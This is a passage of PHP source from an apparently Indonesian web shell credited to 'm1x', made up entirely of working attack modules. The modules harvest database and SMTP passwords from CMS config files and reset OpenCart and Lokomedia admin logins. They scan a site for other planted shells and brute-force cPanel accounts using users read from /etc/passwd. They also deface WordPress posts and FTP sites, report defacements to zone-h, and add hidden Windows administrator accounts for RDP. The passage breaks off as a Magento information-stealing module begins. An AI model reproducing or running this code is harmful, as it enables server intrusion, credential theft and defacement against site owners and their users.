3295 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
3296 $db = mysql_select_db($dbname);
3297 $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
3298 $result = mysql_fetch_array($q);
3299 $id = $result[user_id];
3300 $target = ambilkata($config,"HTTP_SERVER', '","'");
3301 if($target == '') {
3302 $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
3303 } else {
3304 $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
3305 }
3306 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
3307 echo "Config => ".$file_conf."<br>";
3308 echo "CMS => OpenCart<br>";
3309 echo $url_target;
3310 if(!$update OR !$conn OR !$db) {
3311 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
3312 } else {
3313 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
3314 }
3315 mysql_close($conn);
3316 } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
3317 $dbhost = ambilkata($config,'server = "','"');
3318 $dbuser = ambilkata($config,'username = "','"');
3319 $dbpass = ambilkata($config,'password = "','"');
3320 $dbname = ambilkata($config,'database = "','"');
3321 $prefix = "users";
3322 $option = "identitas";
3323 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
3324 $db = mysql_select_db($dbname);
3325 $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
3326 $result = mysql_fetch_array($q);
3327 $target = $result[alamat_website];
3328 if($target == '') {
3329 $target2 = $result[url];
3330 $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
3331 if($target2 == '') {
3332 $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
3333 } else {
3334 $cek_login3 = file_get_contents("$target2/adminweb/");
3335 $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
3336 if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
3337 $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
3338 } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
3339 $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
3340 } else {
3341 $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
3342 }
3343 }
3344 } else {
3345 $cek_login = file_get_contents("$target/adminweb/");
3346 $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
3347 if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
3348 $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
3349 } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
3350 $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
3351 } else {
3352 $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
3353 }
3354 }
3355 $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
3356 echo "Config => ".$file_conf."<br>";
3357 echo "CMS => Lokomedia<br>";
3358 if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
3359 echo $url_target2;
3360 } else {
3361 echo $url_target;
3362 }
3363 if(!$update OR !$conn OR !$db) {
3364 echo "Status => <font color=red>".mysql_error()."</font><br><br>";
3365 } else {
3366 echo "Status => <font color=lime>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
3367 }
3368 mysql_close($conn);
3369 }
3370 }
3371 }
3372 } else {
3373 echo "<center>
3374 <h1>Auto Edit User Config</h1>
3375 <form method='post'>
3376 DIR Config: <br>
3377 <input type='text' size='50' name='config_dir' value='$dir'><br><br>
3378 Set User & Pass: <br>
3379 <input type='text' name='user_baru' value='m1xm1xm1x' placeholder='user_baru'><br>
3380 <input type='text' name='pass_baru' value='m1xm1xm1x' placeholder='pass_baru'><br>
3381 <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
3382 </form>
3383 <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
3384 ";
3385 }
3386}elseif($_GET['do'] == 'shelscan') {
3387 echo'<center><h2>Shell Finder</h2>
3388<form action="" method="post">
3389<input type="text" size="50" name="traget" value="http://www.site.com/"/>
3390<br>
3391<input name="scan" value="Start Scaning" style="width: 215px;" type="submit">
3392</form><br>';
3393if (isset($_POST["scan"])) {
3394$url = $_POST['traget'];
3395echo "<br /><span class='start'>Scanning ".$url."<br /><br /></span>";
3396echo "Result :<br />";
3397$shells = array("WSO.php","dz.php","cpanel.php","cpn.php","sql.php","mysql.php","madspot.php","cp.php","cpbt.php","sYm.php",
3398"x.php","r99.php","lol.php","jo.php","wp.php","whmcs.php","shellz.php","d0main.php","d0mains.php","users.php",
3399"Cgishell.pl","killer.php","changeall.php","2.php","Sh3ll.php","dz0.php","dam.php","user.php","dom.php","whmcs.php",
3400"vb.zip","r00t.php","c99.php","gaza.php","1.php","wp.zip"."wp-content/plugins/disqus-comment-system/disqus.php",
3401"d0mains.php","wp-content/plugins/akismet/akismet.php","madspotshell.php","Sym.php","c22.php","c100.php",
3402"wp-content/plugins/akismet/admin.php#","wp-content/plugins/google-sitemap-generator/sitemap-core.php#",
3403"wp-content/plugins/akismet/widget.php#","Cpanel.php","zone-h.php","tmp/user.php","tmp/Sym.php","cp.php",
3404"tmp/madspotshell.php","tmp/root.php","tmp/whmcs.php","tmp/index.php","tmp/2.php","tmp/dz.php","tmp/cpn.php",
3405"tmp/changeall.php","tmp/Cgishell.pl","tmp/sql.php","tmp/admin.php","cliente/downloads/h4xor.php",
3406"whmcs/downloads/dz.php","L3b.php","d.php","tmp/d.php","tmp/L3b.php","wp-content/plugins/akismet/admin.php",
3407"templates/rhuk_milkyway/index.php","templates/beez/index.php","admin1.php","upload.php","up.php","vb.zip","vb.rar",
3408"admin2.asp","uploads.php","sa.php","sysadmins/","admin1/","administration/Sym.php","images/Sym.php",
3409"/r57.php","/wp-content/plugins/disqus-comment-system/disqus.php","/shell.php","/sa.php","/admin.php",
3410"/sa2.php","/2.php","/gaza.php","/up.php","/upload.php","/uploads.php","/templates/beez/index.php","shell.php","/amad.php",
3411"/t00.php","/dz.php","/site.rar","/Black.php","/site.tar.gz","/home.zip","/home.rar","/home.tar","/home.tar.gz",
3412"/forum.zip","/forum.rar","/forum.tar","/forum.tar.gz","/test.txt","/ftp.txt","/user.txt","/site.txt","/error_log","/error",
3413"/cpanel","/awstats","/site.sql","/vb.sql","/forum.sql","/backup.sql","/back.sql","/data.sql","wp.rar/",
3414"wp-content/plugins/disqus-comment-system/disqus.php","asp.aspx","/templates/beez/index.php","tmp/vaga.php",
3415"tmp/killer.php","whmcs.php","tmp/killer.php","tmp/domaine.pl","tmp/domaine.php","useradmin/",
3416"tmp/d0maine.php","d0maine.php","tmp/sql.php","tmp/dz1.php","dz1.php","forum.zip","Symlink.php","Symlink.pl",
3417"forum.rar","joomla.zip","joomla.rar","wp.php","buck.sql","sysadmin.php","images/c99.php", "xd.php", "c100.php",
3418"spy.aspx","xd.php","tmp/xd.php","sym/root/home/","billing/killer.php","tmp/upload.php","tmp/admin.php",
3419"Server.php","tmp/uploads.php","tmp/up.php","Server/","wp-admin/c99.php","tmp/priv8.php","priv8.php","cgi.pl/",
3420"tmp/cgi.pl","downloads/dom.php","templates/ja-helio-farsi/index.php","webadmin.html","admins.php",
3421"/wp-content/plugins/count-per-day/js/yc/d00.php", "admins/","admins.asp","admins.php","wp.zip","wso2.5.1","pasir.php","pasir2.php","up.php","cok.php","newfile.php","upl.php",".php","a.php","crot.php","kontol.php","hmei7.php","jembut.php","memek.php","tai.php","rabit.php","indoxploit.php","a.php","hemb.php","hack.php","galau.php","HsH.php","indoXploit.php","asu.php","wso.php","lol.php","idx.php","rabbit.php","1n73ction.php","k.php","mailer.php","mail.php","temp.php","c.php","d.php","IDB.php","indo.php","indonesia.php","semvak.php","ndasmu.php","cox.php","as.php","ad.php","aa.php","file.php","peju.php","asd.php","configs.php","ass.php","z.php");
3422foreach ($shells as $shell){
3423$headers = get_headers("$url$shell"); //
3424if (eregi('200', $headers[0])) {
3425echo "<a href='$url$shell'>$url$shell</a> <span class='found'>Done :D</span><br /><br/><br/>"; //
3426$dz = fopen('shells.txt', 'a+');
3427$suck = "$url$shell";
3428fwrite($dz, $suck."\n");
3429}
3430}
3431echo "Shell [ <a href='./shells.txt' target='_blank'>shells.txt</a> ]</span>";
3432}
3433
3434}
3435 elseif($_GET['do'] == 'cpanel') {
3436 if($_POST['crack']) {
3437 $usercp = explode("\r\n", $_POST['user_cp']);
3438 $passcp = explode("\r\n", $_POST['pass_cp']);
3439 $i = 0;
3440 foreach($usercp as $ucp) {
3441 foreach($passcp as $pcp) {
3442 if(@mysql_connect('localhost', $ucp, $pcp)) {
3443 if($_SESSION[$ucp] && $_SESSION[$pcp]) {
3444 } else {
3445 $_SESSION[$ucp] = "1";
3446 $_SESSION[$pcp] = "1";
3447 $i++;
3448 echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
3449 }
3450 }
3451 }
3452 }
3453 if($i == 0) {
3454 } else {
3455 echo "<br>Nemu ".$i." Cpanel by <font color=lime>m1x</font>";
3456 }
3457 } else {
3458 echo "<center>
3459 <form method='post'>
3460 USER: <br>
3461 <textarea style='width: 450px; height: 150px;' name='user_cp'>";
3462 $_usercp = fopen("/etc/passwd","r");
3463 while($getu = fgets($_usercp)) {
3464 if($getu == '' || !$_usercp) {
3465 echo "<font color=red>Can't read /etc/passwd</font>";
3466 } else {
3467 preg_match_all("/(.*?):x:/", $getu, $u);
3468 foreach($u[1] as $user_cp) {
3469 if(is_dir("/home/$user_cp/public_html")) {
3470 echo "$user_cp\n";
3471 }
3472 }
3473 }
3474 }
3475 echo "</textarea><br>
3476 PASS: <br>
3477 <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
3478 function cp_pass($dir) {
3479 $pass = "";
3480 $dira = scandir($dir);
3481 foreach($dira as $dirb) {
3482 if(!is_file("$dir/$dirb")) continue;
3483 $ambil = file_get_contents("$dir/$dirb");
3484 if(preg_match("/WordPress/", $ambil)) {
3485 $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
3486 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
3487 $pass .= ambilkata($ambil,"password = '","'")."\n";
3488 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
3489 $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
3490 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
3491 $pass .= ambilkata($ambil,'password = "','"')."\n";
3492 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
3493 $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
3494 } elseif(preg_match("/client/", $ambil)) {
3495 preg_match("/password=(.*)/", $ambil, $pass1);
3496 if(preg_match('/"/', $pass1[1])) {
3497 $pass1[1] = str_replace('"', "", $pass1[1]);
3498 $pass .= $pass1[1]."\n";
3499 }
3500 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
3501 $pass .= ambilkata($ambil,"db_password = '","'")."\n";
3502 }
3503 }
3504 echo $pass;
3505 }
3506 $cp_pass = cp_pass($dir);
3507 echo $cp_pass;
3508 echo "</textarea><br>
3509 <input type='submit' name='crack' style='width: 450px;' value='Crack'>
3510 </form>
3511 <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
3512 }
3513} elseif($_GET['do'] == 'smtp') {
3514 echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
3515 function scj($dir) {
3516 $dira = scandir($dir);
3517 foreach($dira as $dirb) {
3518 if(!is_file("$dir/$dirb")) continue;
3519 $ambil = file_get_contents("$dir/$dirb");
3520 $ambil = str_replace("$", "", $ambil);
3521 if(preg_match("/JConfig|joomla/", $ambil)) {
3522 $smtp_host = ambilkata($ambil,"smtphost = '","'");
3523 $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
3524 $smtp_user = ambilkata($ambil,"smtpuser = '","'");
3525 $smtp_pass = ambilkata($ambil,"smtppass = '","'");
3526 $smtp_port = ambilkata($ambil,"smtpport = '","'");
3527 $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
3528 echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
3529 echo "SMTP port: <font color=lime>$smtp_port</font><br>";
3530 echo "SMTP user: <font color=lime>$smtp_user</font><br>";
3531 echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
3532 echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
3533 echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>";
3534 }
3535 }
3536 }
3537 $smpt_hunter = scj($dir);
3538 echo $smpt_hunter;
3539} elseif($_GET['do'] == 'auto_wp') {
3540 if($_POST['hajar']) {
3541 $title = htmlspecialchars($_POST['new_title']);
3542 $pn_title = str_replace(" ", "-", $title);
3543 if($_POST['cek_edit'] == "Y") {
3544 $script = $_POST['edit_content'];
3545 } else {
3546 $script = $title;
3547 }
3548 $conf = $_POST['config_dir'];
3549 $scan_conf = scandir($conf);
3550 foreach($scan_conf as $file_conf) {
3551 if(!is_file("$conf/$file_conf")) continue;
3552 $config = file_get_contents("$conf/$file_conf");
3553 if(preg_match("/WordPress/", $config)) {
3554 $dbhost = ambilkata($config,"DB_HOST', '","'");
3555 $dbuser = ambilkata($config,"DB_USER', '","'");
3556 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
3557 $dbname = ambilkata($config,"DB_NAME', '","'");
3558 $dbprefix = ambilkata($config,"table_prefix = '","'");
3559 $prefix = $dbprefix."posts";
3560 $option = $dbprefix."options";
3561 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
3562 $db = mysql_select_db($dbname);
3563 $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
3564 $result = mysql_fetch_array($q);
3565 $id = $result[ID];
3566 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
3567 $result2 = mysql_fetch_array($q2);
3568 $target = $result2[option_value];
3569 $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
3570 $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
3571 echo "<div style='margin: 5px auto;'>";
3572 if($target == '') {
3573 echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
3574 } else {
3575 echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
3576 }
3577 if(!$update OR !$conn OR !$db) {
3578 echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
3579 } else {
3580 echo "<font color=lime>sukses di ganti.</font><br>";
3581 }
3582 echo "</div>";
3583 mysql_close($conn);
3584 }
3585 }
3586 } else {
3587 echo "<center>
3588 <h1>Auto Edit Title+Content WordPress</h1>
3589 <form method='post'>
3590 DIR Config: <br>
3591 <input type='text' size='50' name='config_dir' value='$dir'><br><br>
3592 Set Title: <br>
3593 <input type='text' name='new_title' value='Hacked By m1x' placeholder='New Title'><br><br>
3594 Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
3595 <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
3596 <textarea name='edit_content' placeholder='contoh script: http://pastebin.com/raw/A0rGGgJe' style='width: 450px; height: 150px;'></textarea><br>
3597 <input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
3598 </form>
3599 <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
3600 ";
3601 }
3602} elseif($_GET['do'] == 'zoneh') {
3603 if($_POST['submit']) {
3604 $domain = explode("\r\n", $_POST['url']);
3605 $nick = $_POST['nick'];
3606 echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
3607 echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
3608 function zoneh($url,$nick) {
3609 $ch = curl_init("http://www.zone-h.com/notify/single");
3610 curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
3611 curl_setopt($ch, CURLOPT_POST, true);
3612 curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
3613 return curl_exec($ch);
3614 curl_close($ch);
3615 }
3616 foreach($domain as $url) {
3617 $zoneh = zoneh($url,$nick);
3618 if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
3619 echo "$url -> <font color=lime>OK</font><br>";
3620 } else {
3621 echo "$url -> <font color=red>ERROR</font><br>";
3622 }
3623 }
3624 } else {
3625 echo "<center><form method='post'>
3626 <u>Defacer</u>: <br>
3627 <input type='text' name='nick' size='50' value='m1x'><br>
3628 <u>Domains</u>: <br>
3629 <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
3630 <input type='submit' name='submit' value='Submit' style='width: 450px;'>
3631 </form>";
3632 }
3633 echo "</center>";
3634}elseif($_GET['do'] == 'cpftp_auto') {
3635 if($_POST['crack']) {
3636 $usercp = explode("\r\n", $_POST['user_cp']);
3637 $passcp = explode("\r\n", $_POST['pass_cp']);
3638 $i = 0;
3639 foreach($usercp as $ucp) {
3640 foreach($passcp as $pcp) {
3641 if(@mysql_connect('localhost', $ucp, $pcp)) {
3642 if($_SESSION[$ucp] && $_SESSION[$pcp]) {
3643 } else {
3644 $_SESSION[$ucp] = "1";
3645 $_SESSION[$pcp] = "1";
3646 if($ucp == '' || $pcp == '') {
3647 //
3648 } else {
3649 echo "[+] username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
3650 $ftp_conn = ftp_connect(gethostbyname($_SERVER['HTTP_HOST']));
3651 $ftp_login = ftp_login($ftp_conn, $ucp, $pcp);
3652 if((!$ftp_login) || (!$ftp_conn)) {
3653 echo "[+] <font color=red>Login Gagal</font><br><br>";
3654 } else {
3655 echo "[+] <font color=lime>Login Sukses</font><br>";
3656 $fi = htmlspecialchars($_POST['file_deface']);
3657 $deface = ftp_put($ftp_conn, "public_html/$fi", $_POST['deface'], FTP_BINARY);
3658 if($deface) {
3659 $i++;
3660 echo "[+] <font color=lime>Deface Sukses</font><br>";
3661 if(function_exists('posix_getpwuid')) {
3662 $domain_cp = file_get_contents("/etc/named.conf");
3663 if($domain_cp == '') {
3664 echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
3665 } else {
3666 preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
3667 foreach($domains_cp[1] as $dj) {
3668 $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
3669 $user_cp_url = $user_cp_url['name'];
3670 if($user_cp_url == $ucp) {
3671 echo "[+] <a href='http://$dj/$fi' target='_blank'>http://$dj/$fi</a><br><br>";
3672 break;
3673 }
3674 }
3675 }
3676 } else {
3677 echo "[+] <font color=red>gabisa ambil nama domain nya</font><br><br>";
3678 }
3679 } else {
3680 echo "[-] <font color=red>Deface Gagal</font><br><br>";
3681 }
3682 }
3683 //echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
3684 }
3685 }
3686 }
3687 }
3688 }
3689 if($i == 0) {
3690 } else {
3691 echo "<br>Sukses Deface ".$i." Cpanel by <font color=lime>m1x.</font>";
3692 }
3693 } else {
3694 echo "<center>
3695 <form method='post'>
3696 Filename: <br>
3697 <input type='text' name='file_deface' placeholder='index.php' value='index.php' style='width: 450px;'><br>
3698 Deface Page: <br>
3699 <input type='text' name='deface' placeholder='http://www.web-yang-udah-lo-deface.com/filemu.php' style='width: 450px;'><br>
3700 USER: <br>
3701 <textarea style='width: 450px; height: 150px;' name='user_cp'>";
3702 $_usercp = fopen("/etc/passwd","r");
3703 while($getu = fgets($_usercp)) {
3704 if($getu == '' || !$_usercp) {
3705 echo "<font color=red>Can't read /etc/passwd</font>";
3706 } else {
3707 preg_match_all("/(.*?):x:/", $getu, $u);
3708 foreach($u[1] as $user_cp) {
3709 if(is_dir("/home/$user_cp/public_html")) {
3710 echo "$user_cp\n";
3711 }
3712 }
3713 }
3714 }
3715 echo "</textarea><br>
3716 PASS: <br>
3717 <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
3718 function cp_pass($dir) {
3719 $pass = "";
3720 $dira = scandir($dir);
3721 foreach($dira as $dirb) {
3722 if(!is_file("$dir/$dirb")) continue;
3723 $ambil = file_get_contents("$dir/$dirb");
3724 if(preg_match("/WordPress/", $ambil)) {
3725 $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
3726 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
3727 $pass .= ambilkata($ambil,"password = '","'")."\n";
3728 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
3729 $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
3730 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
3731 $pass .= ambilkata($ambil,'password = "','"')."\n";
3732 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
3733 $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
3734 } elseif(preg_match("/client/", $ambil)) {
3735 preg_match("/password=(.*)/", $ambil, $pass1);
3736 if(preg_match('/"/', $pass1[1])) {
3737 $pass1[1] = str_replace('"', "", $pass1[1]);
3738 $pass .= $pass1[1]."\n";
3739 }
3740 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
3741 $pass .= ambilkata($ambil,"db_password = '","'")."\n";
3742 }
3743 }
3744 echo $pass;
3745 }
3746 $cp_pass = cp_pass($dir);
3747 echo $cp_pass;
3748 echo "</textarea><br>
3749 <input type='submit' name='crack' style='width: 450px;' value='Hajar'>
3750 </form>
3751 <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
3752 }
3753}
3754
3755elseif($_GET['do'] == 'erdipi') {
3756echo "<center>STATUS<br>$status_work</center><br><br><div id='result'>
3757<form action='' method='post'>
3758<input type='text' name='username' placeholder='Username' value='m1xm1xm1x'>
3759<input type='text' name='password' placeholder='Password' value='m1xm1xm1x'>
3760<input type='submit' name='shc_krdp' value='Submit'>
3761</form>
3762<pre>";
3763if($_POST['shc_krdp']){
3764 $krdp_user = $_POST['username'];
3765 $krdp_password = $_POST['password'];
3766 $cmd_cek_user = shell_exec('net user');
3767 if(preg_match($krdp_user,$cmd_cek_user)){
3768 echo "$krdp_user sudah ada";
3769 }else {
3770 $admin_list = array(
3771 'Administrators',
3772 'Administrator',
3773 'Administrateur',
3774 'admins',
3775 'sadmin',
3776 'Administrador',
3777 );
3778 if(shell_exec('net user $krdp_user $krdp_password /add')){
3779 echo "[+] USER : <font color=lime>$krdp_user | $krdp_password</font><br>";
3780 foreach ($admin_list as $key => $admins_list) {
3781 if(shell_exec('net localgroup $admins_list $r_user /add')){
3782 echo "[+] localgroup : <font color=lime>$admins_list</font><br>";
3783 }else{
3784 echo "[+] <font color=red>Kesalahan pada localgroup $admins_list</font><br>";
3785 }
3786 }echo "[INFO] Connect to IP Computer (RDP) <font color=lime>$s_server_ip</font><br>";
3787 echo '<hr>[NET USER INFO]<br>'.shell_exec('net user');
3788 }else{
3789 echo "[+] Username : <font color=red>$krdp_user | Password : $krdp_password , Gagal menambahkan</font><br>";
3790 }
3791 }
3792}
3793echo"</pre>
3794</div></center>";
3795}
3796elseif($_GET['do'] == 'erdipi2') {
3797 if(strtolower(substr(PHP_OS, 0, 3)) === 'win') {
3798 if($_POST['create']) {
3799 $user = htmlspecialchars($_POST['user']);
3800 $pass = htmlspecialchars($_POST['pass']);
3801 if(preg_match("/$user/", exe("net user"))) {
3802 echo "[INFO] -> <font color=red>user <font color=lime>$user</font> sudah ada</font>";
3803 } else {
3804 $add_user = exe("net user $user $pass /add");
3805 $add_groups1 = exe("net localgroup Administrators $user /add");
3806 $add_groups2 = exe("net localgroup Administrator $user /add");
3807 $add_groups3 = exe("net localgroup Administrateur $user /add");
3808 echo "[ RDP ACCOUNT INFO ]<br>
3809 ------------------------------<br>
3810 IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font><br>
3811 Username: <font color=lime>$user</font><br>
3812 Password: <font color=lime>$pass</font><br>
3813 ------------------------------<br><br>
3814 [ STATUS ]<br>
3815 ------------------------------<br>
3816 ";
3817 if($add_user) {
3818 echo "[add user] -> <font color='lime'>Berhasil</font><br>";
3819 } else {
3820 echo "[add user] -> <font color='red'>Gagal</font><br>";
3821 }
3822 if($add_groups1) {
3823 echo "[add localgroup Administrators] -> <font color='lime'>Berhasil</font><br>";
3824 } elseif($add_groups2) {
3825 echo "[add localgroup Administrator] -> <font color='lime'>Berhasil</font><br>";
3826 } elseif($add_groups3) {
3827 echo "[add localgroup Administrateur] -> <font color='lime'>Berhasil</font><br>";
3828 } else {
3829 echo "[add localgroup] -> <font color='red'>Gagal</font><br>";
3830 }
3831 echo "------------------------------<br>";
3832 }
3833 } elseif($_POST['s_opsi']) {
3834 $user = htmlspecialchars($_POST['r_user']);
3835 if($_POST['opsi'] == '1') {
3836 $cek = exe("net user $user");
3837 echo "Checking username <font color=lime>$user</font> ....... ";
3838 if(preg_match("/$user/", $cek)) {
3839 echo "[ <font color=lime>Sudah ada</font> ]<br>
3840 ------------------------------<br><br>
3841 <pre>$cek</pre>";
3842 } else {
3843 echo "[ <font color=red>belum ada</font> ]";
3844 }
3845 } elseif($_POST['opsi'] == '2') {
3846 $cek = exe("net user $user indoxploit");
3847 if(preg_match("/$user/", exe("net user"))) {
3848 echo "[change password: <font color=lime>indoxploit</font>] -> ";
3849 if($cek) {
3850 echo "<font color=lime>Berhasil</font>";
3851 } else {
3852 echo "<font color=red>Gagal</font>";
3853 }
3854 } else {
3855 echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";
3856 }
3857 } elseif($_POST['opsi'] == '3') {
3858 $cek = exe("net user $user /DELETE");
3859 if(preg_match("/$user/", exe("net user"))) {
3860 echo "[remove user: <font color=lime>$user</font>] -> ";
3861 if($cek) {
3862 echo "<font color=lime>Berhasil</font>";
3863 } else {
3864 echo "<font color=red>Gagal</font>";
3865 }
3866 } else {
3867 echo "[INFO] -> <font color=red>user <font color=lime>$user</font> belum ada</font>";
3868 }
3869 } else {
3870 //
3871 }
3872 } else {
3873 echo "-- Create RDP --<br>
3874 <form method='post'>
3875 <input type='text' name='user' placeholder='username' value='indoxploit' required>
3876 <input type='text' name='pass' placeholder='password' value='indoxploit' required>
3877 <input type='submit' name='create' value='>>'>
3878 </form>
3879 -- Option --<br>
3880 <form method='post'>
3881 <input type='text' name='r_user' placeholder='username' required>
3882 <select name='opsi'>
3883 <option value='1'>Cek Username</option>
3884 <option value='2'>Ubah Password</option>
3885 <option value='3'>Hapus Username</option>
3886 </select>
3887 <input type='submit' name='s_opsi' value='>>'>
3888 </form>
3889 ";
3890 }
3891 } else {
3892 echo "<br><center><font color=red>Fitur ini hanya dapat digunakan dalam Windows Server.</font></center><br>";
3893 }
3894}
3895elseif($_GET['do'] == 'magentot') {
3896echo'
3897<div id="page-wrap">
3898<center>
3899<br>
3900<FORM action="" method="post"><h1>
3901<div align="center"><div><span style="color:#ff0000;">[</span><span style="color:#ff1200;">M</span><span style="color:#ff2400;"> </span><span style="color:#ff3600;">A</span><span style="color:#ff4900;"> </span><span style="color:#ff5b00;">G</span><span style="color:#ff6d00;"> </span><span style="color:#ff7f00;">E</span><span style="color:#ff8f00;"> </span><span style="color:#ff9f00;">N</span><span style="color:#ffaf00;"> </span><span style="color:#ffbf00;">T</span><span style="color:#ffcf00;"> </span><span style="color:#ffdf00;">O</span><span style="color:#ffef00;">]</span><span style="color:#ffff00;"> </span><span style="color:#dbff00;">-</span><span style="color:#b6ff00;"> </span><span style="color:#92ff00;">S</span><span style="color:#6dff00;">T</span><span style="color:#49ff00;">E</span><span style="color:#24ff00;">A</span><span style="color:#00ff00;">L</span><span style="color:#00ff20;">I</span><span style="color:#00ff40;">N</span><span style="color:#00ff60;">G</span><span style="color:#00ff80;"> </span><span style="color:#00ff9f;">I</span><span style="color:#00ffbf;">N</span><span style="color:#00ffdf;">F</span><span style="color:#00ffff;">O</span><span style="color:#00dbff;">R</span><span style="color:#00b6ff;">M</span><span style="color:#0092ff;">A</span><span style="color:#006dff;">T</span><span style="color:#0049ff;">I</span><span style="color:#0024ff;">O</span><span style="color:#0000ff;">N</span></div></h1><br>
3902<div align="center">coded by sohai & n4KuLa_<br>
3903Modified by m1x<br>
3904<font color="red">TOOL INI HANYA DAPAT DIJALANKAN DI CMS MAGENTO</font><br><br>
3905<input type="hidden" name="form_action" value="2">
3906</div>
3907';
3908
